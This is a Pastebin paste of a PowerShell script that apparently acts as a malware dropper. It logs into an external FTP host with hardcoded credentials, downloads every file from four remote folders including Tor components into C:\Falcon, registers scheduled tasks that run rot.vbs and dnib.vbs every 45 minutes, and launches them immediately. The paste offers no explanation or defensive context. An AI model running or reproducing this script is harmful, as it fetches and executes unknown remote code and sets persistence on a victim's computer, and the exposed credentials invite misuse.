Advertisement
Guest User

qw zx

a guest
Mar 9th, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. New-Item -ItemType directory -Path C:\Falcon
  2. New-Item -ItemType directory -Path C:\Falcon\Data
  3. New-Item -ItemType directory -Path C:\Falcon\Data\abcd
  4. New-Item -ItemType directory -Path C:\Falcon\Data\Tor
  5. New-Item -ItemType directory -Path C:\Falcon\Tor
  6.  
  7.  
  8.  
  9. #FTP Server Information - SET VARIABLES
  10. $ftp = "ftp://ftp.byethost18.com/"
  11. $user = 'b7_19786554'
  12. $pass = 'G.Fty12'
  13. $FoldFalcon = 'htdocs/Falcon'
  14. $FoldDTor = 'htdocs/DTor'
  15. $Foldabcd = 'htdocs/abcd'
  16. $FoldTor = 'htdocs/Tor'
  17. $TargFalcon = "C:\Falcon\"
  18. $TargDTor = "C:\Falcon\Data\Tor\"
  19. $Targabcd = "C:\Falcon\Data\abcd\"
  20. $TargTor = "C:\Falcon\Tor\"
  21.  
  22. #SET CREDENTIALS
  23. $credentials = new-object System.Net.NetworkCredential($user, $pass)
  24.  
  25. function Get-FtpDir ($url,$credentials) {
  26. $request = [Net.WebRequest]::Create($url)
  27. $request.Method = [System.Net.WebRequestMethods+FTP]::ListDirectory
  28. if ($credentials) { $request.Credentials = $credentials }
  29. $response = $request.GetResponse()
  30. $reader = New-Object IO.StreamReader $response.GetResponseStream()
  31. $reader.ReadToEnd()
  32. $reader.Close()
  33. $response.Close()
  34. }
  35.  
  36. #SET FOLDER PATH
  37. $folderPath1= $ftp + "/" + $FoldFalcon + "/"
  38.  
  39. $Allfiles1=Get-FTPDir -url $folderPath1 -credentials $credentials
  40. $files1 = ($Allfiles1 -split "`r`n")
  41.  
  42. $files1
  43.  
  44. $webclient = New-Object System.Net.WebClient
  45. $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
  46. $counter1 = 0
  47. foreach ($file1 in ($files1 | where {$_ -like "*"})){
  48. $source1=$folderPath1 + $file1
  49. $destination1 = $TargFalcon + $file1
  50. $webclient.DownloadFile($source1, $TargFalcon+$file1)
  51. }
  52.  
  53. #SET FOLDER PATH
  54. $folderPath2= $ftp + "/" + $FoldDTor + "/"
  55.  
  56. $Allfiles2=Get-FTPDir -url $folderPath2 -credentials $credentials
  57. $files2 = ($Allfiles2 -split "`r`n")
  58.  
  59. $files2
  60.  
  61. $webclient = New-Object System.Net.WebClient
  62. $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
  63. $counter2 = 0
  64. foreach ($file2 in ($files2 | where {$_ -like "*"})){
  65. $source2=$folderPath2 + $file2
  66. $destination2 = $TargDTor + $file2
  67. $webclient.DownloadFile($source2, $TargDTor+$file2)
  68.  
  69. }
  70.  
  71. #SET FOLDER PATH
  72. $folderPath3= $ftp + "/" + $Foldabcd + "/"
  73.  
  74. $Allfiles3=Get-FTPDir -url $folderPath3 -credentials $credentials
  75. $files3 = ($Allfiles3 -split "`r`n")
  76.  
  77. $files3
  78.  
  79. $webclient = New-Object System.Net.WebClient
  80. $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
  81. $counter3 = 0
  82. foreach ($file3 in ($files3 | where {$_ -like "*"})){
  83. $source3=$folderPath3 + $file3
  84. $destination3 = $Targabcd + $file3
  85. $webclient.DownloadFile($source3, $Targabcd+$file3)
  86. }
  87.  
  88. #SET FOLDER PATH
  89. $folderPath4= $ftp + "/" + $FoldTor + "/"
  90.  
  91. $Allfiles4=Get-FTPDir -url $folderPath4 -credentials $credentials
  92. $files4 = ($Allfiles4 -split "`r`n")
  93.  
  94. $files4
  95.  
  96. $webclient = New-Object System.Net.WebClient
  97. $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
  98. $counte4r = 0
  99. foreach ($file4 in ($files4 | where {$_ -like "*"})){
  100. $source4=$folderPath4 + $file4
  101. $destination4 = $TargTor + $file4
  102. $webclient.DownloadFile($source4, $TargTor+$file4)
  103. }
  104.  
  105. schtasks /Create /TN rot /SC MINUTE /MO 45 /TR "C:\Falcon\rot.vbs"
  106. schtasks /Create /TN dnib /SC MINUTE /MO 45 /TR "C:\Falcon\dnib.vbs"
  107.  
  108. Invoke-Item C:\Falcon\rot.vbs
  109. Invoke-Item C:/Falcon\dnib.vbs
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement